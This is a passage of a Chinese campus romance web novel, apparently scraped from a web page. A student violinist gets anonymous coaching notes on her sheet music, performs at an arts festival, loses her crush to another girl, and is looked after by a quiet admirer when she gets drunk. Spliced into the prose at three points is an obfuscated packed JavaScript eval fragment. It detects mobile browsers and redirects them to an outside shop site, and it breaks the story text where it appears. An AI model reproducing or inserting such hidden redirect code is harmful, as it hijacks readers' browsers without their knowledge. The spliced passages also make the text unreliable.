和手机上那张例图几乎一模一样。 黎玥惊喜极了,对着镜子左看右看,忍不住夸赞:“霏霏,你这手艺可以收徒了!” 程霏霏拿起一颗苹果,吭哧吭哧地啃。 “熟能生巧呗。我这一年别的没干,光扮乖了。” 自从进入江大,程霏霏三不五时地便要去李泽昱跟前凹人设。法器之一,便是一颗尽显少女感的丸子头。 这发型搭配上一条温柔的棉布裙子,邻家妹妹的形象保管拿捏得入木三分。 黎玥也想到了这一点,笑得肩膀都在抖。笑完了又忍不住问:“你为什么会觉得,李泽昱喜欢这一款?” “这有什么奇怪的。”程霏霏支着脑袋,一脸理所当然,“直男的理想型,不都是清纯温柔小白花么?” 她指了指自己:“知道这张脸骗到过多少人么?呵,男人!” 黎玥笑得前仰后合,她知道,程霏霏并非在卖弄,她是真的在用数据说话。 程霏霏已经啃完了苹果,果核丢进垃圾桶,去水槽洗了手。也没擦干,就着满手凉水挠了挠黎玥嫩生生的下巴。 “真好奇啊,让我们黎玥春心萌动的男人,究竟什么样?” 黎玥捶了她一记,给人赶出寝室。 转身靠在门板上,黎玥摸了摸形状完美的丸子头,脸悄悄红了。 * 程霏霏哼着歌,一路来到音乐学院的教室,大喇喇地推开门。 灿烂的晨光从窗户里涌进来,照亮了屋子里的每一处角落。 细小的浮尘在空中悠悠荡荡地飞舞,被挥动的琴弓带起一阵气流,搅得纷乱。 程霏霏先对着空气练习了几下弓法,然后扛起小提琴,走到谱架前。 下一瞬,她缓缓放下手里的琴,目瞪口呆地捧起自己的谱子。 原本干干净净的乐谱上,此刻,竟然被圈出了大大小小无数个圆圈。 每个圈圈旁边,都写着简明扼要的批注,合在一起,密密麻麻—— 【对于初学者来说,按照这个逻辑,先将曲子拆分为小节,每一小节在正确的前提下反复练习,要比从头拉到尾更能提升练习效率。】 【弓长给得过多,没有挂住弦,才会导致蹭音。同样的问题还出现在这里,这里,以及这里。】 【中慢速的分弓不顿弓,能帮你稳住音色。】 【此处速度变快,所以力量要集中,试试右臂发力去带动手指。】 【在弓根处需要减力,才能降低噪音。】 【这里,曲谱错了。】 程霏霏:“……” 她立刻拿出手机上网比对,发现自己下载的这版谱子,的确是错了一个音。 连这都能听得出来? 程霏霏呆若木鸡地站了一会儿,猛然抬头,仔细打量过整间教室。 角落里堆满了杂物,根本没有躲藏的空间。 她立刻夺门而出,飞奔到走廊上。 这时候,上早课的学生们陆续从教学楼的正门进来,走廊里的人越来越多。程霏霏不得不贴着墙根移动,仔细凝视着过往的每一张脸。 双手将曲谱攥得死紧,内心激动又混乱。 她试图找一个人,却不知道自己在找谁,又该怎么去找。 这种感觉似曾相识——在人群里独自迷茫,跌跌撞撞,有人趁乱拉了她一把,她着急地伸手去够,却什么也抓不到。 程霏霏的心怦怦乱跳,胸廓上下起伏,呼吸因为紧张和兴奋而急促不稳。 目光在每一张脸孔上扫过,不愿错失擦肩而过的任何一个人。她焦急地伸长脖子,想要辨识出哪怕一丝丝留下过这些文字的端倪。 直到早课的铃声响起,学生们陆续进了教室,程霏霏独自站在音乐学院的走廊上,第一次觉得这栋年岁悠久的老建筑居然空旷到令人心凉。 她失魂落魄地回到音乐教室,重新展开那张曲谱,从头到尾,认真读过每一个字。 整篇注释详尽又贴合,每一个点都异常精准,切中要害。她常犯的错误、她的短板和缺憾,无不一一点明。 点明的同时,还给出了简单直白的建议,让她一个新手也能看得懂,且用得上。 她的小老师都没有如此入木三分地指点过她,程霏霏想,自己这是蹭到大神了啊。 究竟是谁呢? 最后的最后,曲谱的背面,还写着这样一段话: 【技术虽然可以增添演奏的层次感,但打动人心的音乐,未必一定要复杂的技巧。情之所至,音之所生,亘古不变。】 程霏霏愣了愣。 不知为何,心底那些长达几个月的焦躁烦闷好像一瞬间跑了个干净。 她捧着曲谱,会心地笑了。 * 从那天开始,程霏霏仿佛彻底忘记了艺术节表演这件事。每天起早贪黑地反复练习,也仅仅只是为了把这首曲子拉好。 她严格遵从着这位不知名人士的点拨,将自己的每一个小问题单独摘出来,反复思考:为什么这里拉得不好,别人的版本究竟好在哪里,自己要怎么样才能克服问题,做出改变。 一旦厘清了思路,她反而降低了速度,针对每一个问题点进行龟速又缓慢地重复练习,直到将正确的模式刻进肌肉记忆。 有效的方法加量的积累,令程霏霏产生了进阶型的质变。一个星期后,她的小老师再来旁听时,着实震惊于这神一般的进步,就差给她打上一个“小提琴天才”的名号了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006512|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 程霏霏落寞地想,小提琴天才不是我,怕是另有其人。 这一周,她刻苦练习的同时,也随时观察着周围的动静,却一直没有发现什么人来旁听。 程霏霏无不遗憾地想,大神也太放心了,居然不来听听她这个野生徒弟到底有没有进步。 如果让她逮到人,一定要好好感谢一番,然后不由分说地缠上去,跪地拜师才行! * 江羽这个星期几乎忙到飞起。 拓知的课业压力非同小可,说是不分专业,其实是将理科通识课程全部学一遍,主打一个兼收并蓄。 他一面顾着学业,一面又要应对兼职,每天睡觉的时间都不够。有几回,在课堂上实在没坚持住,迷迷糊糊地打起了瞌睡。 好巧不巧,竟然被老师提溜了起来,幸亏他脑子转得快,哪怕站起来之后现场审题,也总能惊险地转危为安。 等到挤出时间赶来音乐教室,程霏霏已经收拾好东西,背着琴盒往回走了。 江羽依然不动声色地跟在了她身后。 江城的深秋不似帝都,没有大肆脱落的枯叶。植物们都在悄咪咪地试探着,一点一点变化着颜色。 隔三差五的绵绵冷雨,更是掀起一阵阵潮湿逼人的寒气。 程霏霏打着一把透明雨伞,边走边小声哼唱着旋律。 道路安静,隔着老远,江羽也能听得清清楚楚,那是她正在反复练习的曲子。 她非常在意这首歌,练得这么辛苦,是为了去艺术节的晚会上表演——为了一个叫作李泽昱的男人。 雨点落在江羽没有打伞的肩头,洇出一片怅然的湿意。 他有点希望,这条从音乐学院到女生寝室的路能够长一些、再长一些。 毕竟,唯有眼前的这条路,是属于他的时间。 黑夜很安静,静到江羽也能够从奔忙的生活里松懈下来,暂时脱离开麻木而紧绷的外壳。 他能感受到某种刻意压制的情感在一点点冒头,犹如一圈圈涟漪,荡漾在他的心口。 一种叫作贪恋的东西在胸腔里潜滋暗长,混合了惆怅、紧张与渴望,一股脑涌向了嗓子眼,令他几乎想要追上去,唤一声她的名字。 脚步不受控制地抬起。 下一瞬,鞋子踩在树叶上,发出“咯吱”一声响。 江羽低下头,看到自己球鞋的边缘,不知什么时候裂开了一条缝。 目光顺着这条缝隙往上,江羽看了看自己身上洗到发白的牛仔裤,和穿了太久、已经磨得起球的卫衣。 前方,程霏霏在女生宿舍的檐下收了伞,正拿着纸巾擦拭微微粘湿的琴盒。 那琴盒里放着的是一把德国工匠品牌的纯手工定制小提琴。 江羽清楚那把琴的价格。 他停在原地,目送着她进了宿舍楼,没有再上前。 秋雨越下越大,将楼下的少年淋到透湿。浑身都冷冰冰的,连着胸腔里的那颗心,好像也一并浇了个彻底。 江羽知道,有些话,他连出口的资格都没有。 寝室的灯光亮起,江羽抬起头,看到阳台上那丛模糊的剪影,带着娇憨的恣意和放松。 这样的身影,永远不该为生活的重担所累。 雨滴顺着他的发丝落下,砸在石板路上。 江羽就这样一动不动地站着,直到那扇窗棂里的灯光彻底熄灭,他才沉默地转过身,在濛濛雨雾中走远。 * 坏天气并没有持续太久。 翌日,连下了好几天的阴雨终于彻底停歇,江大的学子们见到了晴朗的日头,也迎来了迎新艺术节的舞台。 15. 15 每年的“迎新艺术节”,已经成为了江城大学独特的秋日传统。 艺术节通常持续一周,每天都有一个固定的主题。主题之下,各个学院也会举办自己的庆祝活动。是以,节日期间,整个校园里处处都洋溢着欢欣热闹的喜庆氛围。 而艺术节的高潮,则是由校学生会和社联联合举办的“艺术之夜”。 因为,这是一个彻彻底底的学生舞台。 为了彰显“兼容并包”的校园文化,这场文艺演出没有任何校领导参加,全凭学生会自主把控。大家可以在遵守相关制度的前提下,尽情释放个性,表达自我。 所以,每年都会有许多稀奇古怪的节目登场。 这台晚会的人气也极高,还没开场,观众席已经坐得满满当当。 程霏霏站在礼堂的后台,撩开一角幕帘,伸着脑袋,望了望下方五颜六色的观众席。 讲实话,要不是因为自己播音系出身,时不时的要为这个学院客串个主持、给那个社团兼职个口播,一年多下来,多多少少积攒了一些舞台经验,在今天这么个场合,大概也会紧张得坐立难安吧? ——就如旁边这位民谣吉他社的哥们一样。 这个组合叫作“天雷地火”,出身江大人气很高的吉他社,主唱之一居然是李泽昱的室友——周韬。 程霏霏和周韬仅见过几面,算是点头之交。 虽然话都没说过几回,可如今,面对这位紧张到满头暴汗、脸色惨白、面部肌肉都在痉挛的熟人,程霏霏实在不好意思袖手旁观。 她兜住小礼服的裙摆,蹲下身,尽量以亲切和蔼的姿态宽慰着崩溃边缘的周韬。 “别紧张,你之前唱得那么好,这次也一定没问题的!” 周韬抬眼:“……你看过我的演出?” 程霏霏笑眯眯地点了点头。 “之前的主唱毕业了,我刚后补上来,今天是首唱。” “……” 程霏霏从怀里摸出一瓶果汁,讪笑着递过去:“我请你喝饮料吧?紧张的时候,喝点东西会比较好哦。” 周韬不客气地接过来,咕咚咕咚干掉大半瓶,才感觉稍微活过来一点。 他看了一眼她身后的琴盒:“程霏霏,你不紧张吗?” “紧张啊。”程霏霏依旧笑眯眯的,“没有人在上场之前不紧张的。” 其他几位乐队成员也围在程霏霏的身侧,听着她慢声细语的宽慰,默默感叹,这位娇娇软软的小学妹真可爱,笑起来也是楚楚动人。 “所以呢——”只听程霏霏接着道,“为了调节情绪,上台之前,我通常会先去拳馆打上两个小时,消耗一下体力。” “……” 前面的演出已经开始,所有节目按照预定好的流程,一个一个上场。 程霏霏应付完吉他社的众人,偷偷掀开帘子,满场寻找李泽昱的身影。 自从她沉迷练琴,已经很长时间没有见过他了。 今晚,她将按照自己预想的计划,借曲传情,当众表白。 程霏霏正左顾右盼呢,周韬忽然来到她的身后,轻声问:“你在找李泽昱吗?” “对啊。”程霏霏想也不想地应道。 周韬的表情看上去有些欲言又止:“你还是放弃吧。” 程霏霏:? 这时候,上个节目已经结束,主持人登台报幕:“下面,由新闻传播学院的程霏霏为大家带来小提琴独奏——RememberOurSummer!” 顾不上追问更多,程霏霏立刻挂起职业微笑,掀开帘子,踏上舞台。 她今天穿了一条齐膝的深灰色蓬蓬裙,纤薄的轻纱上染着莹莹亮粉,被舞台的灯光一炫,仿若一只闪着细碎光辉的银蝶。长发如瀑,柔顺地披在肩后,发间点缀着一枚黛黑的丝绒蝴蝶结,整个人说不出的清纯漂亮。 迈上舞台的那一刻,程霏霏骨子里的专业细胞立刻苏醒,下意识地便端起了主持人的范儿。 她很自然地停驻在舞台中央,目光从容地扫过全场,随即就在观众席的第一排边缘找到了正在和下属讲话的李泽昱。 李泽昱今天穿着艺术节的主题卫衣,胸前挂着晚会工作人员的牌子。举手投足间气场尽显,安排工作时面容沉肃,眼神中隐隐流露出学生会干部的威压。 程霏霏不动声色地将眼神收回,开口是极标准的播音腔:“大家好,我即将表演的节目,是一曲小提琴独奏。这并不是一场厉害的演奏,实不相瞒,我真正学习小提琴的时间,满打满算,也只有四个月。” 台下响起一片嗡嗡的惊讶之声。 “之所以想挑战这件事,是因为,它对我而言,有着非比寻常的意义。” 程霏霏顿了顿,眼神变得很柔和:“有人告诉我,情之所至,音之所生。我想在这个舞台上,用自己演奏出的每一道音符,向一个人,诉说我心中最真挚的情感。” 余光里,台下的李泽昱忽然抬起头,目光灼灼地望过来。 观众席也一片哗然,大家纷纷嗅到了八卦的味道! 黎玥坐在台下,给任可心发微信:【上个厕所都能迷路?快点,霏霏已经上场了!】 她的左手边,两个姑娘正在交头接耳。 “那个就是播音系的程霏霏呀?长得还可以诶。” “是啊,听说她也喜欢李泽昱的,都追了一年了。” “真的假的……啧,妹子有点可怜哦。” 黎玥忍不住皱了皱眉,从手机上抬起头,疑惑地问:“不好意思啊,不是故意偷听的,只是……程霏霏怎么就可怜了?” 左边的女生一顿,眨巴着无辜的大眼睛,冲黎玥亮出了自己的手机:“你自己看嘛!” 黎玥伸长脖子望过去,只见这个姑娘的朋友圈里,备注名为“外院剑人姚安琪”的人发布了一张和李泽昱牵手的亲密合照。 文案是简单的一句话:【惦记的人太多了,好在你已经属于我了。】 后面跟了一连串粉红小爱心。 发布时间——五分钟前。 黎玥:!!! 她猛地转头,看向舞台。此时,程霏霏已经架起小提琴,开始演奏了。 黎玥此生都没有经历过比这更加心焦如火的时刻。 哪怕在高中的期末考场上涂串了答题卡,她都能气定神闲地在临交卷的最后两分钟,擦掉所有答案,重新来过。 可是此时此刻,她遥望着程霏霏专注的神情,浑身的血液都僵滞了。 这么办?怎么办! 按照程霏霏设计的流程,一曲完毕,她就会当众对李泽昱剖白自己的心意。然后在晚会结束的时候拦住他,问他愿不愿意做自己的男朋友。 可是显然,李泽昱他已经…… 黎玥捂住了眼睛,做了几下深呼吸,不敢想象那个终极社死的场景。 旁边,任可心的空位上还放着她的笔记本电脑。 心念翻涌之间,黎玥灵光一闪,抱起电脑便冲向了演出的后台。 * 程霏霏觉得,台上的这一曲,简直是练习这么久以来,发挥得最好的一次。 她对旋律熟稔于心,已经不必再依赖曲谱,全程都沉浸在一种笃定又自信的情绪中。 手指稳健地操控着琴弓,每一次与琴弦的摩擦都尽可能细腻精准,将每一道音节都掌握得丝丝入扣。 随着旋律的流动,脑海里依次闪过那个人的每一句话。程霏霏的心中充满了安全感,仿佛被什么力量稳稳托住。 ——你在现场吗?有没有听到我的演奏?我每天都有按照你的建议好好练习哦! 上场之前,程霏霏从随身的包里拿出那枚形影不离的钥匙环,贴在心口,重新回顾了那段令她魂牵梦萦的记忆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006513|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周身被澎湃的冲动和勇气环绕着,程霏霏将满腔思念倾注进每一个音符。 李泽昱就在台下,可是莫名的,程霏霏依然觉得,她在思念着一个远方的人。 琴曲仿佛听懂了她的心,将一腔酸楚的怀念之情娓娓道来。 观众们听得极其投入,没人想到,仅仅练习了四个月的曲子,竟然能表现得这样好。 没有任何花哨的技法,程霏霏中规中矩地以一个新手的方式,把曲子拉出了最饱满的效果。 伴随着最后一小节的落幕,程霏霏呼吸微颤,抬弓收音。 礼堂里一片安静,只有回声的余韵盘桓在上空。 安静了几秒钟之后,大家才如梦初醒,用热烈的掌声送上最诚挚的认可。 程霏霏笑得异常灿烂,对着观众鞠躬致谢。心里想着,就冲这一刻,什么都值了! 她单手握住小提琴,将话筒举在胸前。杏眸微抬,望向第一排角落的李泽昱。 目光相触,程霏霏按下胸腔里杂乱无章的心跳,声音有些颤抖:“这首曲子,我想……” 就在这时,舞台的音响里忽然爆发出一阵刺耳的盲音,打断了程霏霏未竟的话。 紧接着,一大波尖锐的鸟鸣声从音箱中倾泻而出,叽叽喳喳,乱成一团。 程霏霏吓了一跳,赶紧捂住耳朵。 身后的大屏幕上,忽然开始播放一只鸟类宣传片——湛蓝的天空中,各类花花绿绿的鸟儿飞来飞去,眼花缭乱地刺激着人们的视觉。 鸟群过境后,视频戛然而止,最后的画面里,赫然出现一组白底黑字—— 【欢迎加入爱鸟社!】 这几个大字,潦草得就像是用幻灯片临时打上去的,以最辣眼的方式,一秒击碎小提琴演奏所营造出的浪漫氛围。 程霏霏已经傻了。 后台,吉他社的成员忍不住吐槽:“靠,搞这么深情,还以为要表白呢,结果竟然是来拉新的!” 观众里也有人跳脚:“简直不讲武德!罢了,大家都别做人——欢迎加入我们天文观察社!” “文学社!各位新生们,来文学社吧!” …… 观众席一片混乱,仿佛重回那天百团大战的现场。主持人不得不冲上台,尴尬地维持秩序。 “感谢程霏霏同学的演奏,谢谢她用美丽的乐曲为保护鸟类做出宣传。接下来,有请‘天雷地火’组合,为我们带来精彩的演出,大家鼓掌欢迎!” 没有人鼓掌,观众们还在争夺广告位。 主持人退场的时候,还不忘将呆愣的程霏霏一起拉走。 “霏霏?” 主持人是程霏霏的班长,抬起手在她眼前晃了晃:“你没事吧?” 程霏霏才从混乱的状况里清醒过来,抱歉地一笑:“对不起啊老大,给你添麻烦了,改天请你吃饭赔罪。” 她转身就往外跑。 黎玥和任可心并肩坐在后台的楼梯上,看着程霏霏一脸怒容地冲过来。 “你们俩,最好给我一个合理的解释!” 任可心跟黎玥对视一眼,叹了口气,点开一张照片,送到程霏霏眼前。 程霏霏的第一反应居然是——爱情果然滋养人,姚安琪看着都比之前水灵了不少。 她的目光在李泽昱脸上轻轻一顿,按灭了屏幕。 “……竟然晚了一步。” 程霏霏垂着脖颈,在楼梯上坐下,一把扯掉头上的蝴蝶结,满头青丝如水一般光滑地泄下。 前头的礼堂里响起震天的音乐声,看来,刚刚的闹剧已经翻篇,大家都重新回归到鼎沸的节目里了。 “霏霏……”黎玥觑着她平静的脸,不安地说:“不开心就发泄出来,无论怎样,我们都会陪着你。” 程霏霏只是从包里拿出那枚熟悉的钥匙扣,放在掌心中轻抚着。目光微垂,不发一言。 16. 16 夜色渐沉,星星点点的霓虹在城市深处蔓延开去,给迷醉的酒吧街又染上一层颓废的暖金色。 江羽周身笼罩在暧昧的灯光中,精致的五官被明暗不定的光影遮挡,看不真切。 他长腿舒展,从半人高的吧台椅里起身,熟练地将余音未歇的麦克风插回支架。 简简单单的动作,却带着浑然天成的潇洒率性,连阅人无数的酒吧老板娘也不禁为之心折。 更遑论在场的客人们。 很快,有人点了最贵的酒送来,希望“认识一下刚刚唱歌的小帅哥”。 江羽却马不停蹄地回后台收拾东西,到点下班。 老板娘笑容满面地跟了过来:“小江,9号桌的客人,你真的不去认识一下?” 江羽客气地回绝:“我不会喝酒。” “不会喝酒怎么了?”老板娘使了个暧昧的眼色,意有所指地说:“就当多认识一位有钱姐姐嘛,赚点零花。” 江羽打趣:“有钱的姐姐我只认识一位,就是琴姐你啊。” “臭小子!”老板娘嗔怪道,“真是不会变通,你啊就去给人端盘子端到死吧!” 江羽淡淡一笑,跟琴姐道别,提着书包从员工通道离开。 手机上,王鹏发来短信:【已经打听到那耳坠的去向了,这几天就能找回来。】 【这个月的钱别忘了打!】 江羽已读不回,接着又点开微信。 项凡:【不敢相信,我竟然加入了这么个玩意儿!】 项凡:照片.jpg 江羽点开图片。 艺术节的舞台上,白底黑字的“欢迎加入爱鸟社”几个字,大喇喇地占据了整个大屏幕,土得别具一格。 江羽的眸光轻轻一闪,将照片放大,看到了站在台上、一脸呆滞的程霏霏。 她一手拎着小提琴,似乎已经表演完了,可是看她的神情…… 江羽皱了皱眉,是演奏不顺利吗? 这时候,一辆出租车在路边霍然停下。紧接着,照片里的女孩子就从车上跳下来,猝不及防地出现在了江羽的视线里。 程霏霏还是刚刚在台上的那身打扮,衣着鲜亮,裙摆飘然。只是头上没有了蝴蝶结,长发被寒风吹乱,挡住了脸上的表情。 江羽怔怔地望着这道从天而降的身影。 她独自一个人,进了路边一家高档酒吧。 江羽情不自禁地跟了上去,却被门口的酒保拦下:“不好意思,我们这里是会员制。” 透过酒吧门缝,他看到程霏霏独自去到吧台前,坐在了高脚凳上。 她的背影看起来非常不开心,江羽疑惑,究竟发生了什么事? 程霏霏点了一只镶着青柠檬的伏特加子弹杯,端起杯子便一饮而尽。 烈酒入口,浇在她憋闷的心头,驱散了几分郁气。尤觉得不过瘾,索性又点了三杯。 几杯酒下肚,程霏霏的意识才逐渐朦胧起来。她终于无力支撑,缓缓地趴在了吧台上。黑长的发丝披散,在反着光的台面上铺开。 她不需要朋友们的安慰,此刻,她只想放倒自己。 程霏霏虽然没谈过恋爱,但因为拒绝过太多追求者,一直以来,都秉承着一套十分冷酷的感情观——世上那么多人,总有你不喜欢的,也总有不喜欢你的,没必要凡事都问个理由,显得输不起。 谁成想,这套逻辑转头就报应到自己头上。 想到这几个月来努力练琴的自己,程霏霏露出一个嘲讽的讥笑。果然,只有笨蛋才会下这种蠢功夫,聪明鬼早就暗度陈仓,把人勾到了手。 自己一直以来,就是那个最笨的大笨蛋! 程霏霏直起身子,招手唤人,点了更多烈酒。 她豪爽的作风很快吸引了旁边一个男子的视线。 男子的目光在程霏霏身上放肆地打量,确定这位美女是独自一人,立刻目露精光,暧昧地上前搭讪。 “妹妹,怎么自己在这儿喝闷酒啊?” 程霏霏已经有些意识不清,盯着他,晕晕乎乎地反问:“你们男人,不是都喜欢清纯小白花的吗?” 男子应道:“当然啊。” 程霏霏皱紧了眉,有些口齿不清:“那为什么……不喜欢我?” 男子一愣,油腔滑调地回应:“我喜欢啊,我最喜欢你这款清纯的了!” 说着,竟然试探着靠近,想去牵她的手。 程霏霏猛一抬胳膊,强悍的臂力差点把男子掀翻在地。 她似乎意识到一丝危险,颤巍巍地站起身,提着自己的小包,晃晃悠悠地朝门外走去。 男子随即跟上。 五杯洋酒的后劲在这一刻灭顶般涌来,程霏霏还没走到大门口,脚下就是一软。 头晕目眩之际,被身后的男子一把捞进怀里。 …… 酒吧外,江羽在路边的长椅上呆坐了一个小时,给深秋的江风吹得瑟瑟发抖。 酒吧大门洞开,一个西装革履的男人带着意识不清的程霏霏走到路边,招手拦下一辆出租车。 他打开车门,刚想把人塞进去,身体忽然被一股大力扭扯,紧接着,怀里一空,姑娘竟被人夺了过去。 男子被惯性冲得一头撞在车架上,差点把门牙磕掉。 “草,你谁啊!” 江羽一脸担忧地扶住程霏霏,晃了晃她:“你还好吗?” 男子心中一紧——糟糕,八成是遇到女的男朋友了。 他二话不说,立刻变身怂包,还没来得及承受江羽更多的怒火,自己就先钻进出租车,一溜烟跑了。 程霏霏觉得,好像有什么人在轻轻晃着自己的脸。 她脑袋一片混沌,眼睛勉强睁开一条缝,视线里出现一张近在咫尺的侧颜。 路灯的光从高处俯下,将这张脸的一半隐入暗影,只能看到光影交界处完美的下颌线。 江羽明亮的眸子看过来,担忧的神情是那么似曾相识,令程霏霏心头一颤。 心间顷刻便塌了一块。 记忆天旋地转,恍若将她拉进了颠倒的时空,分不清楚今夕何夕。 程霏霏忽然觉得十分委屈,压抑了一整晚的眼泪止不住地往上涌,瞬间就湿了眼眶。 她猛地扑进江羽怀中,搂住他的脖子,呜咽着哭喊:“你去哪里了?我找你找得好辛苦啊!” 江羽突然之间被她抱住,整个人僵怔在了原地,两只手悬空着,不知道该往哪儿放。 程霏霏则死搂着他不撒手,伏在他怀里,哭得梨花带雨,还断断续续地嚷着他听不懂的话。 “呜呜呜——你怎么可以把我丢下不管!” 江羽惊讶地睁大了眼睛,虚虚地抱着她,拍着她的背安慰:“……没有,我不会把你丢下不管。” “你有——”程霏霏贴在他的胸口,双手紧紧攥着他的外套,眼泪糊了满脸。 她软着脚,把全部重量压在他身上,嘴里说着颠来倒去的醉话。江羽任由她在自己的怀里恸哭,头发胡乱蹭着他的下颌,不得不揽住她的腰身,防止她跌倒。 夜深了,寒风穿过楼宇,卷着冰冷的潮气,扫荡着空旷的街头。 程霏霏只穿了一条轻薄的连衣裙,连件扛风的外套都没有。她像一只柔软的小兔子,蜷缩在江羽怀里,自觉寻找着热源。 江羽搂着她不盈一握的细腰,感到她的身体在轻轻发抖。 他退开一些,脱下自己的外衣,整个罩在她身上。 “太晚了,我送你回学校好不好?” 一听要回学校,程霏霏哭着摇头:“不回学校……他们在学校里……我不回去!” “他们”是谁? 江羽只当程霏霏喝多了,尽量顺着她,妥协道:“好,不回学校。那你想去哪里?我们得找一个暖和的地方,这样下去,你会冻坏的。” 听到这话,程霏霏皱着眉头,似乎仔细思考了一会儿。 她踮起脚尖,贴着江羽的耳侧,颠来倒去地说了一个地址。 …… 半个小时后,江羽扶着人,从出租车上下来。 映入眼帘的是一片热闹的住宅区。 此处距离江城大学不远,宽阔的人行道上栽种着整齐的行道树,隔着一条马路,就是江边的湿地公园。 因着地段方便,不少江大的学生和教职工都住在这里。 时间已经很晚,小区门口依然有背着书包下课回家的年轻人。保安亭里的大爷正在值夜班,收音机里传出依哩哇啦的戏曲声。 江羽背起意识不清的人,走进小区大门。 * 程霏霏的意识仿佛沉浸在一汪温热的泉水中,浮浮沉沉,混沌不清。 蜷了蜷手指,触手是一片泛着体温的肩膀。她才发觉,自己双脚腾空,正伏在什么人的背上。 这种感觉如此熟悉,令她刚刚风干的眼角重新又湿润了起来。 程霏霏张开双臂,搂住身前的人,闷声撒娇:“走慢点,我头晕……” 给她抱了一晚上,江羽已经习惯了各种突如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江羽蹲下身,脱掉程霏霏脚上的细软小皮鞋,将人打横抱起,放倒在了客厅奶白色的沙发上。 刚要起身,却被程霏霏捉住了衣角:“……别走。” “我不走。”江羽柔声安抚着,慢慢松开她的手指。 程霏霏不安地蹙着眉,伸了伸胳膊,想要贪图那个充满安全感的怀抱。 江羽在房子里转了转,找到洗手间,取下隔断上的洗脸巾,拧开热水。 程霏霏感到有什么细软的东西轻轻烘着自己的脸,将那些泪痕擦净。 沙发的材质绵软,是程霏霏最喜欢的款式。她拱了拱身子,找到一个舒服的角度,很快就沉入了梦乡。 江羽半跪在地毯上,注视着这张安静的睡颜。 没有了生动的情绪,这张脸显得愈发柔和清纯,让人忍不住想要触碰。 他怔怔地抬起手,指尖在粉嫩的唇角处生生停住,不敢再靠近。 “李泽昱……”程霏霏似乎陷入了梦中,断断续续地呓语,“为什么不喜欢我……” 江羽的指尖一僵。 她今晚哭得这样伤心,原来是为了那个人。 对自己这般信任地投怀送抱,是不是也把他当成了谁? 江羽望着她毫不设防的睡颜,喟然轻叹:“就这么喜欢他?” 沙发上的人睡得香甜,自然不会回答。 窗外,寒风裹着冷雨倾泻而下,噼里啪啦地砸落在窗户上,将开阔的视野模糊成一片。 江羽抖开一条软糯的羊绒毯,动作轻柔地盖在她身上。 整个人卸力地坐在地板上。 背靠着沙发,江羽听着身后少女清浅的呼吸声,心中也像大雨过境一般,湿漉漉的。 所以,那个家伙竟然……拒绝了你吗? 江羽望着虚空,落寞地嗤笑出声:“真没眼光。” 墙上的时针走过一格,身后的呼吸渐沉,已经陷入深眠。 江羽知道,自己该走了。 他轻手轻脚地站起来,给程霏霏掖了掖被角。直起身的时候,视线忽然在半空中顿住。 客厅角落的置物架上,堆放着满满当当的黑胶碟片。最上面的一张,是著名小提琴家羽婷的同名专辑——《雨停》。 江羽怔怔地走过去,盯着那张碟片。 外壳的包装有些许旧色,显然经常被拿出来反复播放。 封面的设计很古典,上面印着羽婷端庄的容颜。 江羽望着这张脸,眼底逐渐泛起一抹温柔的水光。手指轻抬,想要蹭一蹭专辑的边缘。 最终却又自嘲地一笑,讪讪地垂下了手。 窗外的雨没有丝毫停歇的迹象,整个城市像罩在一块巨大的玻璃罩子里,连呼吸都变得沉重。 江羽最后看了一眼沙发上沉醉不醒的人,打开房门,悄然离去。 17. 17 整晚都被一种莫名的情绪牵引着,程霏霏思绪翻涌,陷入了一个幽深的梦。 梦里,她再次回到了那个令她无法忘怀的夏天。 此时此刻,她站在火车站大厅的镜子前,看到自己还是两年前的打扮—— 一头出格的亮粉色长发,耳朵上数不清多少个耳洞,皆戴满了夸张的饰品。 脸上的烟熏妆在灼人的热浪中早就脱成了熊猫眼,整个人无精打采,活像一名欲求不满的药瘾少女——实则,只是一个一整天没吃饭、又累又饿的不良少女罢了。 她再一次将手探进包包,确认自己的手机钱包都被小偷洗劫一空的事实。 程霏霏听到自己在梦里抱怨,她怎么就这么寸!好不容易离家出走一次,威风不过三分钟,转眼就在火车站被人抄了底。 她不想给家里打电话,更不能去报警——警察肯定要盘问她的身份,然后扭头就把这个叛逆的未成年送回江城去。 程霏霏望着阳光下人头攒动的站前广场,决定出去走一走。 帝都真是大得不得了,哪儿哪儿都是人。 程霏霏沿着胡同巷里的小路行走,看到朱楼碧瓦间,粗壮的梧桐密密匝匝,点缀着灰色古朴的砖墙。 游客很多,比肩接踵。 戴着小红帽的旅行团像涨潮的流水,一波接一波涌过来,毫不客气地将她冲刷到路边。 一只脚还没站稳,转眼又被呼啸而过的电瓶车气冲冲地鸣笛示警。 程霏霏觉得,每个人看起来都很忙,都有自己的去处。 只有她没有。 她不知道自己要去哪里,要干嘛,只是顺着树荫的方向,漫无目的地前行。 走着走着,视线霍然开朗,她看到了一片城市小广场。 广场很空旷,铺着亮面的地砖,给正午的日头照得煞白一片。 广场的尽头有一栋恢弘的圆形建筑,建筑的入口处,各色太阳伞密密层层地挤在一起,宛如一条彩色的长龙。 这是在排什么队? 程霏霏好奇地走过去,隐隐约约间,能听到“演奏会”、“抢票”的谈论声。 她抬起头,眯缝着眼去看骄阳下那闪着碎光的海报。 